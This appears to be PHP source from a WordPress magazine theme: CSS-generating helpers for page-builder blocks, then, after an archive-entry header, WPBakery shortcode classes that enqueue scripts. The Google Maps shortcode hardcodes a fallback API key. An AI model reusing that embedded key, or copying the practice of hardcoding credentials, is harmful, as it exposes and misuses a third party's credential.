					$css_custom .= $block_id . ' .grid-overlay .penci-entry-title a{ color: ' . esc_attr( $atts['bptitle_color'] ) . ' !important; }';
				}
				if ( $atts['bptitle_hcolor'] ) {
					$css_custom .= $block_id . ' .grid-overlay .penci-entry-title a:hover{ color: ' . esc_attr( $atts['bptitle_hcolor'] ) . '!important;}';
				}

				if ( $atts['bpcat_color'] ) {
					$css_custom .= $block_id . ' .grid-overlay .cat > a.penci-cat-name{ color: ' . esc_attr( $atts['bpcat_color'] ) . '!important;}';
					$css_custom .= $block_id . ' .grid-overlay .overlay-header-box .cat > a.penci-cat-name:after{ border-color: ' . esc_attr( $atts['bpcat_color'] ) . '!important;}';
				}
				if ( $atts['bpcat_hcolor'] ) {
					$css_custom .= $block_id . ' .grid-overlay .cat > a.penci-cat-name:hover{ color: ' . esc_attr( $atts['bpcat_hcolor'] ) . '!important;}';
				}

				if ( $atts['bpauthor_color'] ) {
					$css_custom .= $block_id . ' .grid-overlay .overlay-author span,';
					$css_custom .= $block_id . ' .grid-overlay .overlay-author a{ color: ' . esc_attr( $atts['bpauthor_color'] ) . '!important;}';
				}
				if ( $atts['bpmeta_border_color'] ) {
					$css_custom .= $block_id . ' .grid-overlay .penci-overlay-over .overlay-header-box:after{ background-color: ' . esc_attr( $atts['bpmeta_border_color'] ) . '!important;}';
				}
			}

			if ( in_array( $atts['style'], $style_big_post ) ) {

				if ( $atts['bptitle_fsize'] ) {
					$css_custom .= '@media screen and (min-width: 768px){';
					$css_custom .= $block_id . '.penci-latest-posts-mixed-2 .item.overlay-layout .entry-title a,';
					$css_custom .= $block_id . '.penci-latest-posts-mixed .grid-mixed .entry-title a,';
					$css_custom .= $block_id . '.penci-latest-posts-standard-grid article.format-standard .entry-title a,';
					$css_custom .= $block_id . '.penci-latest-posts-standard-grid-2 article.format-standard .entry-title a,';
					$css_custom .= $block_id . '.penci-latest-posts-standard-list article.format-standard .entry-title a,';
					$css_custom .= $block_id . '.penci-latest-posts-standard-boxed-1 article.format-standard .entry-title a,';
					$css_custom .= $block_id . '.penci-latest-posts-classic-grid article.format-standard .entry-title a,';
					$css_custom .= $block_id . '.penci-latest-posts-classic-grid-2 article.format-standard .entry-title a,';
					$css_custom .= $block_id . '.penci-latest-posts-overlay-grid .overlay-header-box .entry-title a,';
					$css_custom .= $block_id . '.penci-latest-posts-overlay-grid-2 .overlay-header-box .entry-title a,';
					$css_custom .= $block_id . '.penci-latest-posts-overlay-list .overlay-header-box .entry-title a,';
					$css_custom .= $block_id . '.penci-latest-posts-overlay-boxed-1 .overlay-header-box .entry-title a,';
					$css_custom .= $block_id . '.penci-latest-posts-mixed-4 .penci-featured-infor .entry-title a,';
					$css_custom .= $block_id . '.penci-latest-posts-classic-list article.format-standard .entry-title a{ font-size: ' . esc_attr( $atts['bptitle_fsize'] ) . '!important;}';
					$css_custom .= '}';
				}
				if ( $atts['bpcat_fsize'] ) {

					$css_custom .= '@media screen and (min-width: 768px){';
					$css_custom .= $block_id . '.penci-latest-posts-mixed .grid-mixed .cat > a.penci-cat-name,';
					$css_custom .= $block_id . '.penci-latest-posts-mixed-2 .item.overlay-layout .cat > a.penci-cat-name,';
					$css_custom .= $block_id . '.penci-latest-posts-standard-grid article.format-standard .cat > a.penci-cat-name,';
					$css_custom .= $block_id . '.penci-latest-posts-standard-grid-2 article.format-standard .cat > a.penci-cat-name,';
					$css_custom .= $block_id . '.penci-latest-posts-standard-list article.format-standard .cat > a.penci-cat-name,';
					$css_custom .= $block_id . '.penci-latest-posts-standard-boxed-1 article.format-standard .cat > a.penci-cat-name,';
					$css_custom .= $block_id . '.penci-latest-posts-classic-grid article.format-standard .cat > a.penci-cat-name,';
					$css_custom .= $block_id . '.penci-latest-posts-classic-grid-2 article.format-standard .cat > a.penci-cat-name,';
					$css_custom .= $block_id . '.penci-latest-posts-classic-list article.format-standard .cat > a.penci-cat-name,';
					$css_custom .= $block_id . '.penci-latest-posts-overlay-grid .grid-overlay .cat > a.penci-cat-name,';
					$css_custom .= $block_id . '.penci-latest-posts-overlay-grid-2 .grid-overlay .cat > a.penci-cat-name,';
					$css_custom .= $block_id . '.penci-latest-posts-overlay-list .grid-overlay .cat > a.penci-cat-name,';
					$css_custom .= $block_id . '.penci-latest-posts-overlay-boxed-1 .grid-overlay .cat > a.penci-cat-name,';
					$css_custom .= $block_id . '.penci-latest-posts-mixed-4 .penci-featured-infor .cat > a.penci-cat-name{ font-size: ' . esc_attr( $atts['bpcat_fsize'] ) . '!important;}';
					$css_custom .= '}';
				}

				if ( $atts['bpmeta_fsize'] ) {
					$pmeta_typo_bpost = $block_id . '%1$s .header-standard .author-post,';
					$pmeta_typo_bpost .= $block_id . '%1$s .penci-post-box-meta .penci-box-meta span,';
					$pmeta_typo_bpost .= $block_id . '%1$s .penci-post-box-meta .penci-box-meta a,';
					$pmeta_typo_bpost .= $block_id . '%1$s .overlay-author a,';
					$pmeta_typo_bpost .= $block_id . '%1$s .overlay-header-box .overlay-author,';
					$pmeta_typo_bpost .= $block_id . '%1$s .grid-post-box-meta,';

					$css_custom .= '@media screen and (min-width: 768px){';
					$css_custom .= sprintf( $pmeta_typo_bpost, '.penci-latest-posts-mixed .grid-mixed' );
					$css_custom .= sprintf( $pmeta_typo_bpost, '.penci-latest-posts-mixed-2 .item.overlay-layout' );
					$css_custom .= sprintf( $pmeta_typo_bpost, '.penci-latest-posts-standard-grid article.format-standard' );
					$css_custom .= sprintf( $pmeta_typo_bpost, '.penci-latest-posts-standard-grid-2 article.format-standard' );
					$css_custom .= sprintf( $pmeta_typo_bpost, '.penci-latest-posts-standard-list article.format-standard' );
					$css_custom .= sprintf( $pmeta_typo_bpost, '.penci-latest-posts-standard-boxed-1 article.format-standard' );
					$css_custom .= sprintf( $pmeta_typo_bpost, '.penci-latest-posts-classic-grid article.format-standard' );
					$css_custom .= sprintf( $pmeta_typo_bpost, '.penci-latest-posts-classic-grid-2 article.format-standard' );
					$css_custom .= sprintf( $pmeta_typo_bpost, '.penci-latest-posts-classic-list article.format-standard' );
					$css_custom .= sprintf( $pmeta_typo_bpost, '.penci-latest-posts-overlay-grid .overlay-layout' );
					$css_custom .= sprintf( $pmeta_typo_bpost, '.penci-latest-posts-overlay-grid-2 .overlay-layout' );
					$css_custom .= sprintf( $pmeta_typo_bpost, '.penci-latest-posts-overlay-list .overlay-layout' );
					$css_custom .= sprintf( $pmeta_typo_bpost, '.penci-latest-posts-overlay-boxed-1 .overlay-layout' );
					$css_custom .= $block_id . '.penci-latest-posts-mixed-4 .penci-featured-infor .grid-post-box-meta, .penci-custom-x{ font-size: ' . esc_attr( $atts['bpmeta_fsize'] ) . '!important;}';
					$css_custom .= '}';
				}


				if ( $atts['bsocialshare_size'] ) {
					$css_custom .= '@media screen and (min-width: 768px){';
					$css_custom .= $block_id . '.penci-latest-posts-mixed-2 .item.overlay-layout .penci-post-box-meta .penci-post-share-box a,';
					$css_custom .= $block_id . '.penci-latest-posts-mixed .grid-mixed .penci-post-box-meta .penci-post-share-box a,';
					$css_custom .= $block_id . '.penci-latest-posts-standard-grid article.format-standard .penci-post-box-meta .penci-post-share-box a,';
					$css_custom .= $block_id . '.penci-latest-posts-standard-grid-2 article.format-standard .penci-post-box-meta .penci-post-share-box a,';
					$css_custom .= $block_id . '.penci-latest-posts-standard-list article.format-standard .penci-post-box-meta .penci-post-share-box a,';
					$css_custom .= $block_id . '.penci-latest-posts-standard-boxed-1 article.format-standard .penci-post-box-meta .penci-post-share-box a,';
					$css_custom .= $block_id . '.penci-latest-posts-classic-grid article.format-standard .penci-post-box-meta .penci-post-share-box a,';
					$css_custom .= $block_id . '.penci-latest-posts-classic-grid-2 article.format-standard .penci-post-box-meta .penci-post-share-box a,';
					$css_custom .= $block_id . '.penci-latest-posts-classic-list article.format-standard .penci-post-box-meta .penci-post-share-box a,';
					$css_custom .= $block_id . '.penci-latest-posts-overlay-grid .grid-overlay .penci-post-share-box a,';
					$css_custom .= $block_id . '.penci-latest-posts-overlay-grid-2 .grid-overlay .penci-post-share-box a,';
					$css_custom .= $block_id . '.penci-latest-posts-overlay-list .grid-overlay .penci-post-share-box a,';
					$css_custom .= $block_id . '.penci-latest-posts-overlay-boxed-1 .grid-overlay .penci-post-share-box a,';
					$css_custom .= $block_id . '.penci-latest-posts-mixed-4 .grid-featured .penci-post-share-box a';
					$css_custom .= '{ font-size: ' . esc_attr( $atts['bpcat_fsize'] ) . '!important;}';
					$css_custom .= '}';
				}
			}

			if ( in_array( $atts['style'], array(
				'mixed',
				'mixed-4',
				'standard-grid',
				'standard-grid-2',
				'standard-list',
				'standard-boxed-1',
				'classic-grid',
				'classic-grid-2',
				'classic-list'
			) ) ) {
				if ( $atts['bpexcerpt_size'] ) {
					$css_custom .= '@media screen and (min-width: 768px){';
					$css_custom .= $block_id . '.penci-latest-posts-mixed .grid-mixed .entry-content,';
					$css_custom .= $block_id . '.penci-latest-posts-mixed .grid-mixed .entry-content p,';
					$css_custom .= $block_id . '.penci-latest-posts-standard-grid article.format-standard .entry-content,';
					$css_custom .= $block_id . '.penci-latest-posts-standard-grid article.format-standard .entry-content p,';
					$css_custom .= $block_id . '.penci-latest-posts-standard-grid-2 article.format-standard .entry-content,';
					$css_custom .= $block_id . '.penci-latest-posts-standard-grid-2 article.format-standard .entry-content p,';
					$css_custom .= $block_id . '.penci-latest-posts-standard-list article.format-standard .entry-content,';
					$css_custom .= $block_id . '.penci-latest-posts-standard-list article.format-standard .entry-content p,';
					$css_custom .= $block_id . '.penci-latest-posts-standard-boxed-1 article.format-standard .entry-content,';
					$css_custom .= $block_id . '.penci-latest-posts-standard-boxed-1 article.format-standard .entry-content p,';
					$css_custom .= $block_id . '.penci-latest-posts-classic-grid article.format-standard .entry-content,';
					$css_custom .= $block_id . '.penci-latest-posts-classic-grid article.format-standard .entry-content p,';
					$css_custom .= $block_id . '.penci-latest-posts-classic-grid-2 article.format-standard .entry-content,';
					$css_custom .= $block_id . '.penci-latest-posts-classic-grid-2 article.format-standard .entry-content p,';
					$css_custom .= $block_id . '.penci-latest-posts-mixed-4 .penci-featured-infor entry-content,';
					$css_custom .= $block_id . '.penci-latest-posts-mixed-4 .penci-featured-infor entry-content p,';
					$css_custom .= $block_id . '.penci-latest-posts-classic-list article.format-standard .entry-content,';
					$css_custom .= $block_id . '.penci-latest-posts-classic-list article.format-standard .entry-content p';
					$css_custom .= '{ font-size: ' . esc_attr( $atts['bpcat_fsize'] ) . '!important;}';
					$css_custom .= '}';
				}
			}

			if ( isset( $atts['grid_uppercase_cat'] ) && $atts['grid_uppercase_cat'] ) {
				$css_custom .= $block_id . ' .penci-grid .cat a.penci-cat-name,';
				$css_custom .= $block_id . ' .penci-masonry .cat a.penci-cat-name,';
				$css_custom .= $block_id . ' .grid-mixed .cat a.penci-cat-name,';
				$css_custom .= $block_id . '  .overlay-header-box .cat a.penci-cat-name { text-transform: uppercase; }';
			}

			if ( isset( $atts['penci_paging_martop'] ) && $atts['penci_paging_martop'] ) {
				$css_custom .= $block_id . ' .penci-latest-posts-el .penci-pagination{ margin-top: ' . esc_attr( $atts['penci_paging_martop'] ) . '!important;}';
			}

			if ( 'grid' == $atts['style'] || 'masonry' == $atts['style'] ) {
				if ( isset( $atts['order_column_gap'] ) && $atts['order_column_gap'] && ! is_array( $atts['order_column_gap'] ) ) {
					$css_custom .= $block_id . '.penci-latest-posts-sc:not( .penci-lposts-ctcol ) .penci-grid > li{ margin-right: ' . esc_attr( $atts['order_column_gap'] ) . '!important;}';
					$css_custom .= $block_id . '.penci-lposts-ctcol .penci-grid{ grid-column-gap: ' . esc_attr( $atts['order_column_gap'] ) . '!important;}';
					$css_custom .= $block_id . ' .penci-wrap-masonry{margin-right: calc(-' . esc_attr( $atts['order_column_gap'] ) . '/2); margin-left: calc(-' . esc_attr( $atts['order_column_gap'] ) . '/2);}';
					$css_custom .= $block_id . ' .penci-masonry .item-masonry{ padding-right: calc(' . esc_attr( $atts['order_column_gap'] ) . '/2); padding-left: calc(' . esc_attr( $atts['order_column_gap'] ) . '/2);}';
				}
			}

			if ( in_array( $atts['style'], array( 'grid', 'grid-boxed', 'grid-boxed-2', 'grid-boxed-3', 'grid-boxed-4', 'masonry', 'list', 'boxed-1' ) ) ) {
				if ( isset( $atts['order_row_gap'] ) && $atts['order_row_gap'] && ! is_array( $atts['order_row_gap'] ) ) {
					$css_custom .= $block_id . '.penci-grid{ row-gap: 0}';
					$css_custom .= $block_id . '.penci-latest-posts-sc:not( .penci-lposts-ctcol ) .penci-grid > li:not( :last-child ){ margin-bottom: ' . esc_attr( $atts['order_row_gap'] ) . '!important;}';
					$css_custom .= $block_id . '.penci-lposts-ctcol .penci-grid{ grid-row-gap: ' . esc_attr( $atts['order_row_gap'] ) . '!important; }';
					$css_custom .= $block_id . ' .penci-masonry .item-masonry{margin-bottom:' . esc_attr( $atts['order_row_gap'] ) . '!important; }';
					$css_custom .= $block_id . '.penci-latest-posts-list .penci-grid li.list-post:not( :last-child ){ padding-bottom: calc(' . esc_attr( $atts['order_row_gap'] ) . '/2) !important; margin-bottom: calc(' . esc_attr( $atts['order_row_gap'] ) . '/2) !important; }';
					$css_custom .= $block_id . '.penci-latest-posts-boxed-1 .penci-grid .list-post.list-boxed-post:not( :last-child ){  margin-bottom: ' . esc_attr( $atts['order_row_gap'] ) . ' !important; };';
				}
			}

			if ( $css_custom ) {
				return '<style>' . $css_custom . '</style>';
			}
		}

		public static function featured_cat( $block_id, $atts ) {
			$block_id   = '#' . $block_id;
			$css_custom = Penci_Vc_Helper::get_heading_block_css( $block_id, $atts );
			$css_custom .= Penci_Vc_Helper::get_heading_block_filter_css( $block_id, $atts );

			if ( $atts['pborder_color'] ) {
				$css_custom .= $block_id . ' .penci-grid li.list-post,';
				$css_custom .= $block_id . ' .home-featured-cat-content .mag-post-box{ border-color: ' . esc_attr( $atts['pborder_color'] ) . ';}';
			}
			if ( $atts['ptitle_color'] ) {
				$css_custom .= $block_id . ' .penci-grid li .item h2 a,';
				$css_custom .= $block_id . ' .penci-masonry .item-masonry h2 a,';
				$css_custom .= $block_id . ' .home-featured-cat-content .magcat-detail h3 a{ color: ' . esc_attr( $atts['ptitle_color'] ) . ';}';
			}
			if ( $atts['ptitle_hcolor'] ) {
				$css_custom .= $block_id . ' .penci-grid li .item h2 a:hover,';
				$css_custom .= $block_id . ' .penci-masonry .item-masonry h2 a:hover,';
				$css_custom .= $block_id . ' .home-featured-cat-content .magcat-detail h3 a:hover{ color: ' . esc_attr( $atts['ptitle_hcolor'] ) . ';}';
			}

			if ( $atts['bptitle_color'] ) {
				$css_custom .= $block_id . ' .home-featured-cat-content .first-post .magcat-detail h3 a{ color: ' . esc_attr( $atts['bptitle_color'] ) . ';}';
			}
			if ( $atts['bptitle_hcolor'] ) {
				$css_custom .= $block_id . ' .home-featured-cat-content .first-post .magcat-detail h3 a:hover{ color: ' . esc_attr( $atts['bptitle_hcolor'] ) . ';}';
			}

			$template = $block_id . ' .penci-grid li .item h2 a,';
			$template .= $block_id . ' .penci-masonry .item-masonry h2 a,';
			$template .= $block_id . ' .home-featured-cat-content .magcat-detail h3 a{ %s }';

			$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
				'font_size'  => $atts['ptitle_fsize'],
				'font_style' => $atts['use_ptitle_typo'] ? $atts['ptitle_typo'] : '',
				'template'   => $template,
			) );

			if ( $atts['bptitle_fsize'] ) {
				$css_custom .= '@media screen and (min-width: 768px){';
				$css_custom .= $block_id . ' .home-featured-cat-content .first-post .magcat-detail h3 a{ font-size: ' . esc_attr( $atts['bptitle_fsize'] ) . ';}';
				$css_custom .= '}';
			}
			if ( $atts['simgwidth'] ) {
				$css_custom .= $block_id . ' .home-featured-cat-content .penci-image-holder.small-fix-size{ width: ' . esc_attr( $atts['simgwidth'] ) . ';}';
			}
			if ( $atts['pmeta_color'] ) {
				$css_custom .= $block_id . ' .home-featured-cat-content .grid-post-box-meta span a,';
				$css_custom .= $block_id . ' .home-featured-cat-content .grid-post-box-meta span{ color: ' . esc_attr( $atts['pmeta_color'] ) . ';}';

				$css_custom .= $block_id . ' .home-featured-cat-content .mag-photo .grid-post-box-meta span:after{ color: ' . esc_attr( $atts['pmeta_color'] ) . ';}';
			}
			if ( $atts['pmeta_hcolor'] ) {
				$css_custom .= $block_id . ' .grid-post-box-meta span a.comment-link:hover,';
				$css_custom .= $block_id . ' .grid-post-box-meta span a:hover{ color: ' . esc_attr( $atts['pmeta_hcolor'] ) . ';}';
			}

			if ( $atts['bpmeta_color'] ) {
				$css_custom .= $block_id . ' .home-featured-cat-content .first-post .grid-post-box-meta span a,';
				$css_custom .= $block_id . ' .home-featured-cat-content .first-post .grid-post-box-meta span{ color: ' . esc_attr( $atts['bpmeta_color'] ) . ';}';
			}
			if ( $atts['bpmeta_hcolor'] ) {
				$css_custom .= $block_id . ' .home-featured-cat-content .first-post .grid-post-box-meta span a:hover{ color: ' . esc_attr( $atts['bpmeta_hcolor'] ) . ';}';
			}

			$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
				'font_size'  => $atts['pmeta_fsize'],
				'font_style' => $atts['use_pmeta_typo'] ? $atts['pmeta_typo'] : '',
				'template'   => $block_id . ' .home-featured-cat-content .grid-post-box-meta{ %s }',
			) );

			if ( $atts['pexcerpt_color'] ) {
				$css_custom .= $block_id . ' .entry-content{ color: ' . esc_attr( $atts['pexcerpt_color'] ) . ';}';
			}

			$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
				'font_size'  => $atts['pexcerpt_fsize'],
				'font_style' => $atts['use_pexcerpt_typo'] ? $atts['pexcerpt_typo'] : '',
				'template'   => $block_id . ' .entry-content,' . $block_id . ' .entry-content p{ %s }',
			) );

			if ( $atts['pcat_color'] ) {
				$css_custom .= $block_id . ' .cat > a.penci-cat-name,';
				$css_custom .= $block_id . ' .cat > a.penci-cat-name:after{ color: ' . esc_attr( $atts['pmeta_color'] ) . ';}';
			}
			if ( $atts['pcat_hcolor'] ) {
				$css_custom .= $block_id . ' .cat > a.penci-cat-name:hover{ color: ' . esc_attr( $atts['pcat_hcolor'] ) . ';}';
			}

			$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
				'font_size'  => $atts['pcat_fsize'],
				'font_style' => $atts['pcat_typo'],
				'template'   => $block_id . ' .cat > a.penci-cat-name{ %s }',
			) );

			$att_style = isset( $atts['style'] ) ? $atts['style'] : '';


			if ( 'style-3' == $att_style || 'style-11' == $att_style ) {
				if ( isset( $atts['penci_column_gap'] ) && $atts['penci_column_gap'] ) {
					$css_custom .= $block_id . '.penci-featured-cat-sc:not( .penci-featured-cat-ctcol ) .home-featured-cat-content{ width: calc(100% + ' . esc_attr( $atts['penci_column_gap'] ) . ' );margin-left: calc(-' . esc_attr( $atts['penci_column_gap'] ) . '/2); margin-right: calc(-' . esc_attr( $atts['penci_column_gap'] ) . '/2); }';
					$css_custom .= $block_id . '.penci-featured-cat-sc:not( .penci-featured-cat-ctcol ) .home-featured-cat-content .mag-photo{ padding-left: calc(' . esc_attr( $atts['penci_column_gap'] ) . '/2); padding-right: calc(' . esc_attr( $atts['penci_column_gap'] ) . '/2); }';
					$css_custom .= $block_id . '.penci-featured-cat-ctcol .home-featured-cat-content{ grid-column-gap: ' . esc_attr( $atts['penci_column_gap'] ) . '; }';
				}
			}

			if ( in_array( $att_style, array( 'style-3', 'style-11', 'style-8' ) ) ) {
				if ( isset( $atts['penci_row_gap'] ) && $atts['penci_row_gap'] ) {

					$css_custom .= $block_id . '.penci-featured-cat-sc:not( .penci-featured-cat-ctcol ) .home-featured-cat-content .mag-photo{ margin-bottom: ' . esc_attr( $atts['penci_row_gap'] ) . ' !important; }';
					$css_custom .= $block_id . '.penci-featured-cat-ctcol .home-featured-cat-content{ grid-row-gap: ' . esc_attr( $atts['penci_row_gap'] ) . '; }';
					$css_custom .= $block_id . ' .mag-cat-style-8 .penci-grid li.list-post:not( :last-child ){ padding-bottom: calc( ' . esc_attr( $atts['penci_row_gap'] ) . '/2); margin-bottom: calc(' . esc_attr( $atts['penci_row_gap'] ) . '/2) }';
				}
			}

			if ( isset( $atts['penci_featimg_size'] ) && $atts['penci_featimg_size'] ) {
				if ( 'horizontal' == $atts['penci_featimg_size'] ) {
					$css_custom .= $block_id . '  .penci-image-holder:before{padding-top: 66.6667% !important;}';
				} elseif ( 'square' == $atts['penci_featimg_size'] ) {
					$css_custom .= $block_id . '  .penci-image-holder:before{ padding-top: 100% !important;}';
				} elseif ( 'vertical' == $atts['penci_featimg_size'] ) {
					$css_custom .= $block_id . '  .penci-image-holder:before{ padding-top: 135.4% !important;}';
				} elseif ( 'custom' == $atts['penci_featimg_size'] && isset( $atts['penci_featimg_ratio'] ) && $atts['penci_featimg_ratio'] && ! is_array( $atts['penci_featimg_ratio'] ) ) {
					$css_custom .= $block_id . '  .penci-image-holder:before{padding-top: ' . esc_attr( $atts['penci_featimg_ratio'] ) . '% !important; }';
				}
			}

			if ( $css_custom ) {
				return '<style>' . $css_custom . '</style>';
			}
		}

		public static function popular_posts( $block_id, $atts ) {
			$block_id   = '#' . $block_id;
			$css_custom = Penci_Vc_Helper::get_heading_block_css( $block_id, $atts );

			if ( isset( $atts['penci_featimg_size'] ) && $atts['penci_featimg_size'] ) {
				if ( 'horizontal' == $atts['penci_featimg_size'] ) {
					$css_custom .= $block_id . '  .penci-image-holder:before{padding-top: 66.6667% !important;}';
				} elseif ( 'square' == $atts['penci_featimg_size'] ) {
					$css_custom .= $block_id . '  .penci-image-holder:before{ padding-top: 100% !important;}';
				} elseif ( 'vertical' == $atts['penci_featimg_size'] ) {
					$css_custom .= $block_id . '  .penci-image-holder:before{ padding-top: 135.4% !important;}';
				} elseif ( 'custom' == $atts['penci_featimg_size'] && isset( $atts['penci_featimg_ratio'] ) && $atts['penci_featimg_ratio'] && ! is_array( $atts['penci_featimg_ratio'] ) ) {
					$css_custom .= $block_id . '  .penci-image-holder:before{padding-top: ' . esc_attr( $atts['penci_featimg_ratio'] ) . '% !important; }';
				}
			}

			// Header style default
			if ( isset( $atts['block_title_color'] ) && $atts['block_title_color'] ) {
				$css_custom .= $block_id . ' .use-heading-default .home-pupular-posts-title a,';
				$css_custom .= $block_id . ' .use-heading-default .home-pupular-posts-title span,';
				$css_custom .= $block_id . ' .use-heading-default .home-pupular-posts-title { color: ' . esc_attr( $atts['block_title_color'] ) . '; }';
			}

			if ( isset( $atts['block_title_hcolor'] ) && $atts['block_title_hcolor'] ) {
				$css_custom .= $block_id . '  .use-heading-default .home-pupular-posts-title a:hover{ color: ' . esc_attr( $atts['block_title_hcolor'] ) . '; }';
			}
			if ( isset( $atts['btitle_bcolor'] ) && $atts['btitle_bcolor'] ) {
				$css_custom .= $block_id . ' .penci-home-popular-posts.use-heading-default{ border-top-color: ' . esc_attr( $atts['btitle_bcolor'] ) . '; }';
			}

			if ( $atts['ptitle_color'] ) {
				$css_custom .= $block_id . ' .item-related h3 a{ color: ' . esc_attr( $atts['ptitle_color'] ) . ';}';
			}
			if ( $atts['ptitle_hcolor'] ) {
				$css_custom .= $block_id . ' .item-related h3 a:hover{ color: ' . esc_attr( $atts['ptitle_hcolor'] ) . ';}';
			}

			$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
				'font_size'  => $atts['ptitle_fsize'],
				'font_style' => $atts['use_ptitle_typo'] ? $atts['ptitle_typo'] : '',
				'template'   => $block_id . ' .item-related h3 a{ %s }',
			) );

			if ( $atts['pmeta_color'] ) {
				$css_custom .= $block_id . ' .item-related span.date{ color: ' . esc_attr( $atts['pmeta_color'] ) . ';}';
			}
			$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
				'font_size'  => $atts['pmeta_fsize'],
				'font_style' => $atts['use_pmeta_typo'] ? $atts['pmeta_typo'] : '',
				'template'   => $block_id . ' .item-related span.date{ %s }',
			) );

			if ( $atts['_dot_color'] ) {
				$css_custom .= $block_id . ' .penci-owl-dots .penci-owl-dot span{ border-color:' . esc_attr( $atts['_dot_color'] ) . ';background-color:' . esc_attr( $atts['_dot_color'] ) . ' }';
			}
			if ( $atts['dot_hcolor'] ) {
				$css_custom .= $block_id . ' .penci-owl-dots .penci-owl-dot:hover span,';
				$css_custom .= $block_id . ' .penci-owl-dots .penci-owl-dot.active span{ border-color:' . esc_attr( $atts['dot_hcolor'] ) . ';background-color:' . esc_attr( $atts['dot_hcolor'] ) . '}';
			}


			if ( $css_custom ) {
				return '<style>' . $css_custom . '</style>';
			}
		}

		public static function featured_boxes( $block_id, $atts ) {
			$block_id   = '#' . $block_id;
			$css_custom = '';

			$style = isset( $atts['style'] ) ? $atts['style'] : '';

			if ( $atts['img_box_border_color'] ) {

				if ( 'boxes-style-4' == $style ) {
					$css_custom .= $block_id . ' ul.homepage-featured-boxes .penci-fea-in h4 span span{ background-color: ' . esc_attr( $atts['img_box_border_color'] ) . ';}';
					$css_custom .= $block_id . ' ul.homepage-featured-boxes li .penci-fea-in:before,';
					$css_custom .= $block_id . ' ul.homepage-featured-boxes li .penci-fea-in:after{ border-color: ' . esc_attr( $atts['img_box_border_color'] ) . ';}';
				} else if ( 'boxes-style-3' == $style ) {
					$css_custom .= $block_id . ' ul.homepage-featured-boxes .penci-fea-in h4 span span{ background-color: ' . esc_attr( $atts['img_box_border_color'] ) . ';}';
					$css_custom .= $block_id . ' ul.homepage-featured-boxes li .penci-fea-in:before,';
					$css_custom .= $block_id . ' ul.homepage-featured-boxes li .penci-fea-in:after{ border-color: ' . esc_attr( $atts['img_box_border_color'] ) . ';}';
				} elseif ( 'boxes-style-2' == $style ) {
					$css_custom .= $block_id . ' ul.homepage-featured-boxes .penci-fea-in.boxes-style-2 h4{ background-color: ' . esc_attr( $atts['img_box_border_color'] ) . ';}';
					$css_custom .= $block_id . ' ul.homepage-featured-boxes .penci-fea-in.boxes-style-2 h4:before{ border-color: ' . esc_attr( $atts['img_box_border_color'] ) . ';}';
				} else {
					$css_custom .= $block_id . ' ul.homepage-featured-boxes .penci-fea-in h4 span span:before,';
					$css_custom .= $block_id . ' ul.homepage-featured-boxes li .penci-fea-in:after,';
					$css_custom .= $block_id . ' ul.homepage-featured-boxes li .penci-fea-in:before{ border-color: ' . esc_attr( $atts['img_box_border_color'] ) . ';}';
					$css_custom .= $block_id . ' ul.homepage-featured-boxes .penci-fea-in h4 span span{ background-color: ' . esc_attr( $atts['img_box_border_color'] ) . ';}';
				}
			}

			if ( $atts['img_box_text_color'] ) {
				$css_custom .= $block_id . ' ul.homepage-featured-boxes li .penci-fea-in h4 span span,';
				$css_custom .= $block_id . ' ul.homepage-featured-boxes .penci-fea-in h4 > span{ color: ' . esc_attr( $atts['img_box_text_color'] ) . ';}';
			}

			if ( $atts['img_box_text_hcolor'] ) {
				$css_custom .= $block_id . ' ul.homepage-featured-boxes li .penci-fea-in:hover h4 span span,';
				$css_custom .= $block_id . ' ul.homepage-featured-boxes li .penci-fea-in:hover h4 > span{ color: ' . esc_attr( $atts['img_box_text_hcolor'] ) . ';}';
			}

			$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
				'font_size'  => $atts['img_box_fsize'],
				'font_style' => $atts['use_img_box_typo'] ? $atts['img_box_typo'] : '',
				'template'   => $block_id . ' ul.homepage-featured-boxes .penci-fea-in h4 > span,' . $block_id . ' ul.homepage-featured-boxes .penci-fea-in h4 span span{ %s }',
			) );

			if ( $css_custom ) {
				return '<style>' . $css_custom . '</style>';
			}
		}
	}
endif;
PK     N\U     *  inc/js_composer/inc/shortcodes-classes.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class WPBakeryShortCode_Penci_Count_Down extends WPBakeryShortCode {
	public function __construct( $settings ) {
		parent::__construct( $settings );
		$this->jsCssScripts();
	}

	public function jsCssScripts() {
		wp_enqueue_script( 'jquery.plugin', PENCI_SOLEDAD_URL . '/js/jquery.plugin.min.js', array( 'jquery' ), '2.0.2', true );
		wp_enqueue_script( 'countdown', PENCI_SOLEDAD_URL . '/js/jquery.countdown.min.js', array( 'jquery' ), '2.0.2', true );

	}
}

class WPBakeryShortCode_Penci_Counter_Up extends WPBakeryShortCode {
	public function __construct( $settings ) {
		parent::__construct( $settings );
		$this->jsCssScripts();
	}

	public function jsCssScripts() {
		wp_enqueue_script( 'waypoints', PENCI_SOLEDAD_URL . '/js/waypoints.min.js', array( 'jquery' ), '2.0.3', true );
		wp_enqueue_script( 'jquery-counterup', PENCI_SOLEDAD_URL . '/js/jquery.counterup.min.js', array(
			'jquery',
			'waypoints'
		), '1.0', true );
	}
}

class WPBakeryShortCode_Penci_Media_Carousel extends WPBakeryShortCodesContainer {
}

class WPBakeryShortCode_Penci_Custom_Slider extends WPBakeryShortCode {
}

class WPBakeryShortCode_Penci_Facebook_Page extends WPBakeryShortCode {
}

class WPBakeryShortCode_Penci_Fancy_Heading extends WPBakeryShortCode {
}

class WPBakeryShortCode_Penci_Google_Map extends WPBakeryShortCode {
	public function __construct( $settings ) {
		parent::__construct( $settings );
		$this->jsCssScripts();
	}

	public function jsCssScripts() {
		$api = get_theme_mod( 'penci_map_api_key' );

		if ( ! $api ) {
			$api = 'AIzaSyBzbXkmI1iibQGKhyS_YbIDEyDEfBK5_bI';
		}
		$http = is_ssl() ? 'https://' : 'http://';

		wp_enqueue_script( 'google-map', esc_url( $http . 'maps.google.com/maps/api/js?key=' . esc_attr( $api ) ), array(), '', true );
	}
}

class WPBakeryShortCode_Penci_Image_Gallery extends WPBakeryShortCode {
}

class WPBakeryShortCode_Penci_Info_Box extends WPBakeryShortCode {
}

